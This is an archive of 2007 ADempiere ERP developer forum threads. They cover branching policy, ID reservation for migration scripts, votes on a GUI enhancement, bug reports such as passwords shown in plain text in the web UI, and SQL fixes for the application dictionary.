I know you said 3.2 but do you mean the tagged 3.2 version or the current trunk? Using trunk I makes the CopyFrom button used in the Sales Order window always updateable and it does change to become updateable even for completed orders. So if you mean the tagged 3.2 it must be something changed since that and trunk.

colin

2007-07-04 11:08:24 UTC

Hi Colin,

>I know you said 3.2 but do you mean the tagged 3.2 version or the current trunk?

I meant version 3.2 from tags.

>Using trunk I makes the CopyFrom button used in the Sales Order window always updateable and it does change to become >updateable even for completed orders. So if you mean the tagged 3.2 it must be something changed since that and trunk.

Yes, you are right. I tested Copy From and it is updateable.
I have to check if this is not some hardcoded behaviour for CopyFrom.

Tank's for the hint.

Kind regards,
Trifon

2007-07-04 21:31:57 UTC

Update on the issue:

It was really stupid problem. The issue was that i had two fields marked as Same line and they were overlapping. So after i moved my button on new row issue disappeared.

Kind regards,
Trifon

2007-07-02 09:05:09 UTC

I'm floating the idea of setting up a new branch.

This branch will hold a number of enhancements that we have found useful as well as our our new functionality and bug fixes.

Does anyone have any objections

Mike

2007-07-02 09:24:15 UTC

Mike,

Why not just submit your patches & contributions like everyone else?

The purpose of a branch is to allow parallel development, do you wish to continue the development in your new branch? I fail to see the benefit of another development branch... sounds like a split in the main product and doesn't sound like a good idea to me. If you wish to share but don't have time to contribute your changes & patches & contributions, you could place the code under your contributions folder?

colin

2007-07-02 09:45:36 UTC

At least I am interested to see how Mike's patches evolve not just the ready patch. That way others could give tips and hints to Mike along the way.

In many projects every developer has they own branch. And road to trunk goes by merging changes from developer's branch to trunk.

Of course that would be nightmare for 'control freaks'. :-)

-kontro-

2007-07-02 10:36:46 UTC

Hi Mike,

>I'm floating the idea of setting up a new branch.

>

>This branch will hold a number of enhancements that we have found useful as well as our our >new functionality and bug fixes.

>

>Does anyone have any objections

I do not have objective, just a suggestion and comment.

I find branch useful for big customizations and risky extensions.

Branch generally makes customizations more expensive to integrate with main version.

Kind regards,

Trifon

2007-07-02 10:54:24 UTC

I'm ok with having branch for testing and development of new enhancement and bug fixes. However, for bug fixes, if it is a pretty safe fix (safe as in low risk of breaking other part of the application and maintain 100% backward compatibility), it is better to be incorporate directly into trunk.

Regards,

Low

2007-07-02 11:01:41 UTC

The intention is to allow some freedom in the branch and see how it develops. We are moving towards a model where the trunk is the QA'ed version. This is because of a lack

of resources to maintain a separate QA'ed branch. In time, if this experiment works, we might provide some resource to maintain the QA effort and this branch would be a safe place for us to do it.

According to the top twenty ideas published in Harvard Business Review - Open Source is successful because it is a safe place to fail. People don't shoot you for making mistakes and sometimes the mistakes generate whole new areas and ideas. Having some freedom in a branch might be a way of achieving this.

Also, there are some pieces of functionality that many of my customers use but might not be appropriate to the entire trunk. For instance, things that are regionally applicable to Europe. If these are maintained in a branch then we don't have to get over the hurdle of making it work for Columbia - we can maintain our branch and see what develops.

On the whole, I think that I would favour contributions to the branch using some of the same rules such as commits should be atomic and should not break the branch. However, perhaps other rules might be relaxed

After all - the cost is all mine to keep a branch in line with the trunk and if the trunk wants something from the branch they can always go there and get it.

2007-07-02 11:02:19 UTC

I would answer mike this way:

"Hola Mike,
Would this make u really creative and stay up all nite to do all sorts just like that snowman from Finland? Then go ahead, no use stopping you. Or go ahead until someone stops you."

redl

2007-07-02 11:03:34 UTC

U read Harvard Business Review? No wonder you look smarter today.

2007-07-02 16:35:36 UTC

Hi, my answers are taken from here:
https://sourceforge.net/forum/message.php?msg_id=4384940

"
...

Heng Sin is proposing the creation of a PMC - Project Management Committee. Primary role of pmc will be the macro management issue, setting things like release plan, roadmap, QA rule, trunk access control, *branch rule*, etc.

...

* In *branches* the branch owner define the set of permissions

* *Branches* will be allowed for experimental, or personal work. But the branch maintainer is responsible to keep it in sync, and construct the needed patches to be included in trunk. PMC can dictate in future policies about branches.

"

Regards,

Carlos Ruiz

2007-07-02 16:44:47 UTC

Hi Carlos,

It would be good to have a public voting for that PMC stuff before setting up project policies based on that.

Warm regards,
Bahman

2007-07-02 17:03:57 UTC

> It would be good to have a public voting for that PMC stuff before
> setting up project policies based on that.

Hi Bahman, I'm not setting up project policies, I'm just answering the question raised in this thread.

Please take it as my personal opinion supported in a previous post from mine.

In fact following such suggestion I can't dictate project policies, that must be a function of PMC.

BTW, did you vote on the "Development Collaboration - New Policy" thread?
I know you voted against PMC in another thread, but I haven't had your opinion or vote on mentor/mentored proposal.

Regards,

Carlos Ruiz

2007-07-02 17:11:15 UTC

Hi Carlos,

> Please take it as my personal opinion supported
> in a previous post from mine
Then that's no problem :-D

> BTW, did you vote on the "Development Collaboration - New Policy" thread?
> I know you voted against PMC in another thread, but I haven't had your
> opinion or vote on mentor/mentored proposal.
Not yet, but will do soon.

Warm regards,
Bahman

2007-07-04 17:24:04 UTC

Seems like I'm stopped already - Creating a new branch fails with a timeout error

Any ideas

Can someone please check my permissions

2007-07-04 21:40:33 UTC

Hi Mike,

>Seems like I'm stopped already - Creating a new branch fails with a timeout error
>
>Any ideas
>
>Can someone please check my permissions

I just checked your permissions.
You have Subversion Commit rights.
I suppose that this could be some network problem or sf.net problem.
Please retry again.

Kind regards,
Trifon

2007-07-04 19:49:29 UTC

Hello,

In our AD3.20 , under GardenUser Login, in Security\User Window, the passwords for every user including SuperUser are displayed in letters, whereas in Rich client it just displays ***.

Is anyone else facing this issue ?

Regards

Sam24368

2007-07-04 20:02:32 UTC

Hi Sam,

Are you using trunk? Which revision?
Or the official 3.2.0 release?

Warm regards,
Bahman

2007-07-05 00:42:31 UTC

I think is a problem in webUI from 3.2.0, I haven't tested in last webUI.

I tested with window User 3.2.0 and is displaying the passwords in plain text.

Regards,

Carlos Ruiz

2007-07-05 06:23:26 UTC

Hello,

I test with new WebUI and the result was the same. I wonder if it's a problem with all password fields?

Anyway, Sam, would you please open a bug tracker for this issue so we can continue working on it in trackers?

Warm regards,
Bahman

2007-07-05 07:10:37 UTC

Hi all

I m trying to use RMA (in Garden world demo)for return materials but when i want to

complete it doesn't get complete and show status "Need to code creating the credit memo".

Also I don't find RMA menu in Menu form from system administrator login. However it is available in other clients. and when I check this menu from Garden World's Menu Form and try to zoom on window field it gives msg "With your current role and settings, you cannot view this information" while I was login with SuperUser.

Thanks & Regards

Anu

2007-07-05 09:51:18 UTC

Anu,

GardenWorld, as a test environment, has by default unfinished "beta" functionality enabled and RMA's are such beta functionality.

But the good news is the Idalica & Systemhaus Westfalia have sponsored the completion (& enhancement) of this functionality see <http://www.adempiere.com/wiki/index.php/RMA>

I cannot say when it will be included in the branch (soon I hope) but to my knowledge it is completed and ready to be tested by the community, so it should not be too long.

colin

2007-07-05 14:54:04 UTC

Hi

sorry if this is a newbie question. I have a process that should be called from the menu. In this process I need to query the DB. I would like to limit the query to current client, organization, and also apply user security. I have found different approaches in the source code (adding WHERE conditions manually, calling a function that decorates the query accordingly). I wonder which one should I use?

Thanks!

Olaf

2007-07-05 18:02:26 UTC

What is the precise intent of

http://www.adempiere.com/wiki/index.php/DevGuide_ID-Number_ranges

Is it to

a) block reserve a range of IDs (e.g. it looks like Karsten & Mike are reserving 50k & 51k ranges

or is it
b) to reserve the ids needed for each patch/contribution?

I have originally thought Karsten's was an example form the reservation should take... but now I'm not sure.

colin

2007-07-05 21:44:25 UTC

I think the better would be to reserve just the required ID's, not by lots.

We have 950000 numbers to manage the Adempiere official dictionary, so with people reserving lots of 1000, we can allow just 950 slots.

I would recommend to reserve the exact ID's.

In the meeting was discussed a possible webservice to deliver ID's.
(Pending summary and publication of the meeting)

Regards,

Carlos Ruiz

2007-07-05 23:05:36 UTC

The trouble is that I am working on submitting perhaps 20-25 pieces of new functionality. Each one will require 5-20 id for various tables.

Perhaps we could reserve blocks of smaller allocations? Say 100 at a time.

Otherwise, if we have to allocate 5-10 at a time, I will spend lots of time creating and documenting id reservations. I'm all for putting some structure in place but lets not make it impossible to contribute.

Also - are other people doing this - or is it just Karsten and I? Are we the only people putting new records in to the AD?

I think after the discussion on the TC irc, that this will become redundant at some point - so is it a problem that needs to be solved at the moment?

Mike

2007-07-06 06:33:06 UTC

Hi Colin,

it's b) and I guess Michael just misunderstood my example. But I think it would be ok to reserve smaller blocks also (like 100 IDs or so).

Regards,
Karsten

2007-07-06 07:42:35 UTC

Mmmmmhhh, this will not scale.

My proposed solution to the "Reserving IDs" problem is "Stop reserving IDs" ;-)

I'm try to collect some material here:

<http://www.adempiere.com/wiki/index.php/Freeway>

I added today some concern about ID range.

It's not just on IDs, read it and add contents or discussion if you want collaborate.

Have fun,
Mar

2007-07-06 08:02:38 UTC

>My proposed solution to the "Reserving IDs" problem is "Stop reserving IDs" ;-)

I also share Marco's idea.

I do not reserve IDs, but i think that we should reserver names(Value column) or prefixes for our customizations.

Here we have to problems IDs and unique Value columns which we must address.

Personally i prefer to avoid reserving of IDs, but as Calros said it is more simple to troubleshoot.

Kind regards,
Trifon

2007-07-06 08:27:16 UTC

Well I agree it would be great to not have to reserve ok, but the problem with our current situation is two people making changes (patch or customisation) at the same time can submit migration scripts using the same IDs and neither will work! I missed most of the IRC chat but I understood everyone felt this was a pain in the ass ok. Hardcoding these IDs is time consuming and error prone. ... but we are where we are.

colin

2007-07-06 08:27:57 UTC

I Added this line to the wiki:

##* In addition consider that reserving IDs but do not define a policy for "names", I mean Table name, Column names, ..., it is only a way to posticipate the problem.

Regards,
Mar

2007-07-06 08:32:01 UTC

I forget to mention that I'm speaking about future ;-)
Until a complete solution is found you have to consume time reserving IDs and making upgrade script :-)

Have fun,
Mar

2007-07-06 11:20:51 UTC

added ideas on prefix and suffix.
Mar

2007-07-08 06:25:03 UTC

Hi,

I do not know where to submit bugs regarding to Adempiere Account Editor; therefore, I place it to the forum.

If I change the tree from 1 - 11 - 11110 to 01 - 011 - 011110, will cause the tree disappear because the record does not correct to fill the zero:

01,Assets,,,,,Yes,,,,,,,,,,,,,

011,Cash,,Asset,,Yes,,1,,,,,,,,,,,,,

011110,Checking in transfer,,Asset,,Yes,,B_INTRANSIT_ACCT,11,,,,,,,,,,,,,

should be:

01,Assets,,,,,Yes,,,,,,,,,,,,,

011,Cash,,Asset,,Yes,,01,,,,,,,,,,,,,

011110,Checking in transfer,,Asset,,Yes,,B_INTRANSIT_ACCT,011,,,,,,,,,,,,,

Regards, Terence

2007-07-06 11:15:30 UTC

Dear Adempierians,

Recently Stefan Kuthan contributed a small GUI enhancement.
I like the feature and i made a small page to show you screen shots with it.
Karsten enhanced and now you can see result which we have at the moment.

http://www.adempiere.com/wiki/index.php/Adempiere_GUI_Enhancements

I would like to see this in trunk that's why i cast my vote:
[+1] to have it in trunk.

Many thanks to Stefan and Karsten!!!

Kind regards,
Trifon

P.S.

Link to sf.net contribution request:

https://sourceforge.net/tracker/?func=detail&atid=883808&aid=1748518&group_id=176962

2007-07-06 11:46:10 UTC

I like it too :)

So for me it is [+1] to have it in trunk.

btw I updated the first image - now you have only one column if there are <= 3 top level categories.

Regards,
Karsten

2007-07-06 11:54:14 UTC

+1 Vote for me.

Also i see a minor improvement: what you think about having a split pane between menu and favorites panel. In this way you can hide the main menu which is useless for normal operations for a normal user.

Best regards,
Teo Sarca

2007-07-06 11:55:56 UTC

+1 vote for me also!
Really usefull extension!

Kindly Regards,

Fernando

2007-07-06 11:58:16 UTC

I want it to so give it a [+1] :-).

Jan

2007-07-06 12:47:38 UTC

Really got a boggling surprise to see this quiet guy from Austria suddenly throw us such big improvements with one blow.

Superb work stefan kuthan! You got the IRC room crazy. You should be there. Jan will buy u beer.

redl

2007-07-06 13:47:44 UTC

+1 To include this in the trunk.

Regards

2007-07-06 14:53:09 UTC

The new dashboard is fantastic! +1

Joel Stangeland
<http://www.idalica.com>

2007-07-06 20:21:46 UTC

+1 too.

Good contribution!

Regards,

Carlos Ruiz

2007-07-06 20:27:26 UTC

Great work Stefan and Karsten!!!

I some have some suggestion, what you think if we go this GUI contribution as Nav.

<http://www.microsoft.com/BusinessSolutions/Navision/Demos/NewMenuSuite/index.html>

[+1] to have it in trunk.

I will happy if we can implement some similar to Nav.

Kind regards

Victor Perez

CEO

<http://www.e-evolution.com>

2007-07-07 08:53:55 UTC

Good work steffan

You should have been on IRC yesterday to see the excitement it generated.

[+1] to have it in trunk

Warm Regards

Muthah

2007-07-08 11:26:10 UTC

Committed into SVN Revision: 2929

<http://svn.sourceforge.net/adempiere/?rev=2929&view=rev>

Colin i hope that last version is ok in the case with few number of windows.

Kind regards,

Trifon

2007-07-08 11:32:38 UTC

>> Colin i hope that last version is ok

:) I'm sure it is just MY bad taste that makes me hesitant. I am happy to go with what everyone else thinks is a better look :)

colin

2007-07-08 11:40:09 UTC

>>> Colin i hope that last version is ok

>:) I'm sure it is just MY bad taste that makes me hesitant. I am happy to go with what everyone else thinks is a >better look :)

It is not just to personal test. If clients prefer old viewwe should find way to keep them both.

Kind regards,
Trifon

2007-07-08 17:48:33 UTC

Hello,

I want to create a new window for a special type of charges.

My idea was to create a new ADTable "Invoice_Taxes" based on C_Invoice and establish a constraint in the column "CHARGE_ID" via SQL.

But I can't save the new ADTable, the error message is "violating unique Constraint AD_Sequence_ID".

So my question is: Is it possible to create a second ADTable based on a DBTable already used?

Or, how can I establish constraint on the entries of pop-up- windows, which access other db-Tables?

Thanks a lot
Susanne

2007-07-08 20:25:16 UTC

Hello Susanne,

Without understanding all the steps you've taken...

AD_Sequence manages the unique id numbers for records in all the tables and documents.

If you've been working with SQL to insert things, the sequences can get out of whack. You might run the "Sequence Check" function which will check the tables and reset the correct values. Or else check your SQL statements to make sure you are not introducing a duplicate sequence ID.

Hope that helps a little.

Thanks, Joel

2007-07-08 21:32:30 UTC

thanks, joel,

I will try to check the sqls. Seems to be a little bit more complicate than I thought.

Buy

Susanne

2007-07-09 02:01:42 UTC

- > So my question is: Is it possible to create a second
- > ADTable based on a DBTable already used?

Hi Sussane, I never thought or tested your approach.

But I did this trick some time ago.

Create a view based on the original table, and create the corresponding AD_Table.

The problem then was that you need to define one of the sequences to generate even numbers and the other to generate odd numbers.

Regards,

Carlos Ruiz

2007-07-06 04:11:39 UTC

Well, nobody has volunteered to become 3.2 maintainer until now.

I'm wondering if we can open a sponsored project to include trunk bug fixings (and very important low risk enhancements) in version 3.2.

I suppose all people using 3.2 in production can support with some \$ this project (including my projects here in Colombia).

There are 345 commits to review between commits 2277 and 2910 - so I think this is an effort of lots of hours.

This can be done between several developers, and we could make a community QA process to release 3.2.1 version.

Who else is interested in supporting this initiative?

What do you think?

Regards,

Carlos Ruiz - globalqss

<http://globalqss.com>

2007-07-06 06:28:30 UTC

hmmm, too bad, I'm always wondering who will be the next lurker to step up to a task, volunteer, and make a name for himself!

Carlos, we'd be glad to participate in this sponsored development.

too bad we don't have a non-profit foundation to donate to that could manage this...

Regards,

JoelS

2007-07-09 17:23:57 UTC

Well, looks like this community wants to have a 3.2 stable version maintained for many time (asked by several people in other posts) - but don't want to assume the costs of such approach :-(

We can't know exactly who is using/implementing 3.2 stable version. I think there are many people using it because of the support requests.

But I think with the lack of support of this thread, this is going to be "Compiere-like" approach. If an implementor wants to have a stable 3.2 version supported then he needs to maintain it.

What do you think, community?

Regards,

Carlos Ruiz

2007-07-09 17:43:41 UTC

Hi Carlos,

>But I think with the lack of support of this thread, this is going to be "Compiere-like" approach. If an implementor >wants to have a stable 3.2 version supported then he needs to maintain it.

>

>What do you think, community?

I have to ideas:

1) It is early to see such support from users at this moment.

My experience shows that one real implementation of Adempiere or any ERP system takes about 6-12 months. In this implementation period users have primary support from implementors. So i expect to see support requests for 3.2 version after 12 - 18 years.

2) We will not see big support requests for 3.2 because migration to new version is free.

Kind regards,
Trifon

2007-07-09 18:50:48 UTC

Hi Carlos,

of course we will contribute (with \$) in order to support bug fixing and those "low risk enhancements". Do count with us and please tell us how to participate.

A stable version is the stage for future implementations. I wish that people and companies who are earning money with Adempiere help in this effort. It is a give and take: we take a nitty gritty ERP system and we can as well give something in return.

Best regards
Mario Calderon

PS/

Trifon, you always puzzle me with your Mathematician/Eastern Europe humor, so I do not know whether you are talking plain facts or just being sarcastic:

> So i expect to see support requests for 3.2 version after 12 - 18 years.

Do you mean years, months or was it a joke?

Greetings!

2007-07-09 18:53:16 UTC

Hi Mario,

>PS/

>Trifon, you always puzzle me with your Mathematician/Eastern Europe humor, so I do not know whether you are talking >plain facts or just being sarcastic:

>> So i expect to see support requests for 3.2 version after 12 - 18 years.

>Do you mean years, months or was it a joke?

Sorry this is my typo mistake.

I was serious. Please read months.

Kind regards,
Trifon

2007-07-09 18:55:17 UTC

Hi Mario,

>PS/

>Trifon, you always puzzle me with your Mathematician/Eastern Europe humor, so I do not know whether you are talking >plain facts or just being sarcastic:

>> So i expect to see support requests for 3.2 version after 12 - 18 years.

>Do you mean years, months or was it a joke?

Just forget to write that in most of the cases i write seriously in this forums.
I'm trying to keep my non-serious post to very few.

Kind regards,
Trifon

2007-07-09 19:07:06 UTC

Hi Trifon,

I wondered the same about this other post:

https://sourceforge.net/forum/message.php?msg_id=4400160

15000 Euros/month?

Because now I am thinking of taking Java classes. ;)

Warm Regards,

Joel S

2007-07-09 19:23:42 UTC

Hi Joel,

>I wondered the same about this other post:

>

>https://sourceforge.net/forum/message.php?msg_id=4400160

>

>15000 Euros/month?

Well, important in this message is context. Here i'm speaking about big plan to control Adempiere Supply Chain of developers. That's why the price is good :) (for me of course).

I thought that after there is such market there should be some offering, so i wanted to be the first who would like to offer such service/product (not sure how to name it).
But this is more like test message. Who knows... i could get luck someday.

Kind regards,
Trifon

2007-07-09 19:30:56 UTC

Hi Joel.

> 15000 Euros/month?

(15000 eur / 20 days) / 8 hours = 93 eur/h

Which sounds like normal fee for a professional who knows what he is doing.

-kontro-

2007-07-09 20:02:07 UTC

Yay kontro!

I'm learning java and moving to Finland!

Can I stay with you when I get there? I'll get up early and go get your energy drinks!

:))

JoelS

2007-07-09 20:34:02 UTC

>Yay kontro!

>I'm learning java and moving to Finland!

>Can I stay with you when I get there?

>I'll get up early and go get your energy drinks!

>:))

>JoelS

You do not have to learn Java.

Just checked prices from Finland's biggest computer reseller.

If you want some teenager to come your home to install some new hardware on your computer it costs 129eur/first 30 minutes. After that 60 eur/hour. After 4pm +50% and on

weekends +100%.

But I expect that teenager to get paid around 10eur/hour and after taxes he gets something like 8 eur/hour. With all expenses that worker costs around 20 eur/hour for a company that hired him. Not to mention company's other expenses...

Here entrepreneur have to charge at least 50 eur/hour if he wants to get 10 eur/hour after all expenses. And in IT business where not all hours (studying) can not be charged from customer that 100 eur/hour is quite typical for a short term subcontracting.

Still interested :)

-kontro-

2007-07-03 18:05:03 UTC

Hi all.

I'm Marco LOMBARDO from Mayking.

Some of you guys knew me in Berlin. I presented the JikiBloom project at the Berlin conference.

Sorry for the delay in posting here.

In my presentation I highlighted the needing of some new framework features to collaborate more around ADempiere.

This would be worthwhile for the ADempiere community, developers, customers, companies...

It aims to enable easy upgrading, collaboration, distributed development, plugin features, and more.

I started a new page on the ADempiere Wiki:

<http://www.adempiere.com/wiki/index.php/Freeway>

A. As you can see the subproject is in the "finding actors and problems" state.

So help me to find them. We can find a complete solution only with a complete list of actors and problems/features they are requiring.

B. I try to be as Web 2.0 oriented as possible so I use wikis for 90% of my activities.

C. Please organize comments or ideas on the Freeway page or on its discussion page if you don't know where to put new materials.

Someone will then organize them on the Freeway page.

This will be much much better than spread ideas and comments replying to this message.

D. If you still want to reply to this message you still have 10% of probability I will see your post.

It's not that much ;-)

Have fun,

Mar

2007-07-04 02:44:05 UTC

There is a 110% possibility others will see this thread. :-)

Just to add some distant tots:

1) I think the JikiBloom project is a good way to resolve most actors in an ERP environment because it fulfills the important killer needs:

- a) CRM - using SugarCRM
- b) BI - Using Pentaho
- c) Telephony - Using Asterisk
- d) Backend - Using Compiere ERP (which we hope will be ADempiere soon)

Been spread to other OS projects makes it practical for it to grow. Been loosely integrated makes it practical to be free. So why reinvent or rediscuss? Just use it.

red1

2007-07-04 02:49:56 UTC

Red1,

My understanding is the Freeway proposal is to talk about the issue of migration and application dictionary maintenance, not related to the JikiBloom project.

Regards,
Low

2007-07-06 11:21:32 UTC

Added ideas on prefix and suffix.

Have fun,
Mar

2007-07-06 17:56:15 UTC

Hi,
some of you know other threads, forums, irc chat resume or wiki pages speaking about upgrading, migration, versioning, collaboration, packaging, ... so I can organize them on the Freeway wiki page in the form of user requirements?

Thanks!

Have fun,
Mar

2007-07-10 17:46:21 UTC

Hi!

New contents on the Freeway wiki page.

I added:

- key points
- basic use cases
- development
- create a patch
- apply a patch
- a "to be defined" section :-)

Comments are appreciated.

Have fun,
Mar
Compilo subAdministrator

2007-07-11 04:48:43 UTC

Hi all

I am trying to see the ER Model AD25g2.dm1 of Adempiere, I am using ER Studio 6.6.1 Version.

But when i try to open this model it show unexpected format exception while the older model opened without any problem.

Thanks & Regards
Anu

2007-07-09 17:08:39 UTC

OK, community I consider the mentor/mentored approach approved with 11/11 votes, according to this thread:

https://sourceforge.net/forum/forum.php?thread_id=1765233&forum_id=611167

So the proposed initial team is:

Mentors:

- * Heng Sin
- * Teo
- * Trifon
- * Victor

- * Karsten
- * Carlos

Mentored:

- * Redhuan
- * Bahman
- * Johannes
- * Phib
- * Ashley
- * Fer_luck
- * Tim (for 2pack)
- * Robert Klein

I'm going to copy the new "rules" from this thread to the wiki - when I can get some time :-)

The most important new rule is the peer review, we need to establish a way to guarantee that someone else reviewed our commit.

What do you propose?

What could be the mechanism to guarantee the peer review?

I would like to have a meeting with the initial committer team to complete the new procedure and organize the teams.

Do you think we can make such meeting next wednesday?

Time: 15:00 GMT Day: Wednesday

In such meeting we can also vote for the inclusion of Stefan as new mentored committer.

As Redhuan said this new approach will be in test for two months and then we will make a new meeting to review the results.

Regards,

Carlos Ruiz

2007-07-09 19:08:05 UTC

Hi,

it seems a sensible approach. I see only "heavyweights" in this list.

I wish you success. We will carry on testing and contribute wherever we can.

Mario Calderon

2007-07-10 08:09:40 UTC

Hi Carlos,

- > Do you think we can make such meeting next wednesday?
- > Time: 15:00 GMT Day: Wednesday

When is next Wednesday, tomorrow or next week ? Please publish the date.

Best regards,
Teo Sarca

2007-07-10 14:53:47 UTC

Do you think we can make such meeting next Wednesday?
Time: 15:00 GMT Day: Wednesday July 11th

Regards,

Carlos Ruiz

2007-07-11 08:03:26 UTC

Hi,

Personally i would prefer next week. But i will try to be there, this week too.

Best regards,
Teo Sarca

2007-07-11 20:01:38 UTC

As usual committers meeting was published here:
http://adempiere.com/wiki/index.php/Committers_Meeting_20070711

Regards,

Carlos Ruiz

2007-07-12 03:02:12 UTC

Hello,

I downloaded Revision 2950 of the trunk last monday I believe. In the migration/320-trunk directory there is a file called 014_postcode_lookup.sql . When I execute it in SQLDeveloper, I get the following error :

" ...

Error starting at line 40 in command:

```
INSERT INTO ad_column
(AD_COLUMN_ID, AD_CLIENT_ID, AD_ORG_ID, ISACTIVE, CREATED,
UPDATED, CREATEDBY, UPDATEDBY, NAME, DESCRIPTION, HELP,
VERSION, ENTITYTYPE, COLUMNNAME, AD_TABLE_ID, AD_REFERENCE_ID,
AD_REFERENCE_VALUE_ID, AD_VAL_RULE_ID, FIELDLENGTH,
DEFAULTVALUE, ISKEY, ISPARENT, ISMANDATORY, ISUPDATEABLE,
READONLYLOGIC, ISIDENTIFIER, SEQNO, ISTRANSLATED, ISENCRYPTED,
CALLOUT, VFORMAT, VALUEMIN, VALUEMAX, ISSELECTIONCOLUMN,
AD_ELEMENT_ID, AD_PROCESS_ID, ISSYNCDATABASE,
ISALWAYSUPDATEABLE, COLUMNSQL, MANDATORYLOGIC)
VALUES (51000, 0, 0, 'Y', TO_DATE('2007-06-19 22:43:07','YYYY-MM-DD
HH24:MI:SS'), TO_DATE('2007-06-19 23:14:47','YYYY-MM-DD HH24:MI:SS'), 100,
100, 'IsPostcodeLookup', NULL, NULL, 0, 'D', 'IsPostcodeLookup', 170, 20, NULL,
NULL, 1, 'N', 'N', 'N', 'N', 'Y', NULL, 'N', NULL, 'N', 'N', NULL, NULL, NULL, NULL,
'N', 51000, NULL, 'N', 'N', NULL, NULL)
```

Error at Command Line:41 Column:486

Error report:

SQL Error: ORA-00904: "MANDATORYLOGIC": invalid identifier
00904. 00000 - "%s: invalid identifier"

*Cause:

*Action:

....."

and so on.

Analyzing AD_COLUMN I notice that indeed a field named "MANDATORYLOGIC" does not exist. Maybe it should be "ISMANDATORY"?

Do I have missed a SQL update? I had executed all scripts until 013_fix_istranslated.sql and wanted to start with 014_postcode_lookup.sql.

Best regards
Mario Calderon

2007-07-12 03:17:13 UTC

Hi Mario, looks like you missed this one:
009_add_MandatoryLogic.sql

Regards,

Carlos Ruiz

2007-07-06 12:05:18 UTC

Hi,

When posting a vendor receipt and vendor invoice there is an entry in the accounting reporting to matching invoice with a wrong account. I like to modify it to the right account (which is stock variance). I looked at the default account but there is no entry for matching invoice.

There can I do it ?

2007-07-08 17:36:52 UTC

Hi Sam,

I hope I did understand your question, that you want to change the asset account for products.

I think you must change the accounting rule for products, in the window "product", "product category" or "accounting scheme".

The Matching Process is neutralizing the entries in the accounts for "not-invoiced-receipt" and "clearing inventory", generates a line in the table "M_MatchINV" in order to link a receiptline to an invoice line.

Regards

Susanne

2007-07-11 22:57:06 UTC

Hi Susanne ,

Sorry for being late !

What I mean is :

When posting a vendor invoice the account comes from the default account : Inventory Clearing defined in the product window and not from the Product Expense defined in the same window.

I think when posting an invoice we should use the Product Expense account, vendor liability account and eventually tax.

The Inventory Clearing account is used when matching invoice with receipt and this is correct.

Is there a way to replace the Inventory Clearing account with the Product Expense account for vendor invoice posting?

2007-07-12 08:01:14 UTC

The product clearing is used for physical product and the product expense for a service product. I think this is correct.

I don't see how your proposed postings would balance. Can you post all the details for each transaction? PO, Receipt & Invoice and their related matching?

colin

2007-07-12 10:34:33 UTC

Hi

I am trying to apply patch to install Libero in Adempiere3.2 and eclipse is thrwing me error while applying GridController.patch (in eclipse). "Unexpected exception while applying the patch Attempted to begin rule:

/F/source/Adempiere/client/src/org/compiere/grid, does not match outer scope rule:

L/source/Adempiere/client/src/org/compiere/grid/GridController.java"

Why is this happening.

Please help me.

Thanks

Regards,
Gaurav

2007-07-12 23:11:25 UTC

Hi All,

I just did an chart of accounts import. I want to validate that this worked by looking at the account element under Performance Analysis -> Accounting Rules -> Account Element and I keep getting this message:

You don't have the privileges (your Role does not allow to access the information) - or - set profile (e.g. if you want to see accounting records, Show Accounting must be set) (No Window Model Info)

To correct this I login as the admin client I created when I did initial client setup and go to General Rules -> Security -> Role. I then go to my admin role and show accounting is checked. I then go to General Rules -> Security -> Role Access Update. Even after all this I still get the message:

You don't have the privileges (your Role does not allow to access the information) - or - set profile (e.g. if you want to see accounting records, Show Accounting must be set) (No Window Model Info)

What am I doing wrong? How can I get access to account element?

2007-07-12 23:35:11 UTC

Hi Tim, please check the status of checkbox
Tools -> Preference -> Show Accounting Tabs.

Regards,

Carlos Ruiz

2007-07-12 23:58:30 UTC

That was it thanks!

2007-07-03 12:08:09 UTC

When using grid table for editing of records such as pricelist->price list version tab->Product tab and then changing a price - you receive an error.

I believe the issue is that some tables (such as M_ProductPrice) do not have a key column but multiple key columns. i.e. M_Product_ID and M_Pricelist_Version_ID.

get_WhereClause in PO should return the correct where - but it does not seem to in this case - it only returns M_Product_ID.

The result is that if the product is on two price lists, then multiple update records are returned and cannot be updated.

Any ideas ?

2007-07-03 12:39:04 UTC

Actually this is solved.

The problem is that the IsParent flag on the M_ProductPrice was "off" and it needs to be on. I checked the repository and the xml seed files for AD_Column appear to have the correct seed value - so I assume it was a local issue only.

2007-07-03 14:03:16 UTC

Hi Michael,

> I checked the repository and the xml seed files for AD_Column appear to have the correct seed value - so I assume it
> was a local issue only.

I modified that field in rev. 2701:

[1740254] PriceList Version is empty in Product-Price tab

http://sourceforge.net/tracker/?func=detail&atid=879332&aid=1740254&group_id=176962

After this modification we have this problem (tested and replicated here).
Without modification, practically you can add any price from Product window (Test: from product window create a new product and then go to Price tab and try to add a new record).

I propose to add M_ProductPrice_ID (primary key).
What you all think ?

Best regards,
Teo Sarca

2007-07-03 15:19:06 UTC

I just tried to add a new product and by default the system only wants me to add a product on the current price list - if I change the price list - I can add any product.

I think this works after I applied the script: update ad_column set isparent = 'Y' where ad_column_id = 2760;

I'm not sure that we need the new ID as PO does cater for multiple keys - the AD just has to have the correct isParent flags set ...

2007-07-03 15:28:13 UTC

> I think this works after I applied the script: update ad_column set isparent = 'Y' where ad_column_id = 2760;

This is how it was before rev. 2701.

Please take a look at

http://adempiere.svn.sourceforge.net/viewvc/adempiere/trunk/migration/320-trunk/012_BF_1740254.sql?revision=2701&view=markup

> I'm not sure that we need the new ID as PO does cater for multiple keys - the AD just has to have the correct isParent flags set ...

There is an issue with or without my or your fix. That's why i proposed adding the primary key column (recommended way).

Best regards,
Teo Sarca

2007-07-03 15:39:55 UTC

ok - let me have a think about it ;)

2007-07-03 15:48:02 UTC

I'm not sure what is wrong with setting the product price from the product window. If you change to grid view - you get a list of price list versions that that product price is on

Can you help me to understand that ?

2007-07-03 15:58:41 UTC

OK I see it. If I add a new product - I can add it to a price list version on the price tab ...

There are no price lists displayed.....

2007-07-03 16:00:53 UTC

> OK I see it. If I add a new product - I can add it to a price list version on the price tab

...

> There are no price lists displayed.....

That's because the column has set the IsParent flag :)

We are running in circle :)

Best regards,
Teo Sarca

2007-07-03 16:06:49 UTC

OK - so leaving my fix in place - I then changed the field on the M_ProductPrice from TableDirect to Search and it now works.

The SQL is:

```
update ad_column set ad_reference_id = 30 where ad_column_id = 2760;
```

Does that work for you ?

2007-07-03 16:39:04 UTC

It looks like the 'table' reference (18) doesn't work for tables with multiple field based keys.

I'm having a look at that problem.

M

2007-07-03 17:04:56 UTC

OK - here's what I found out so far.

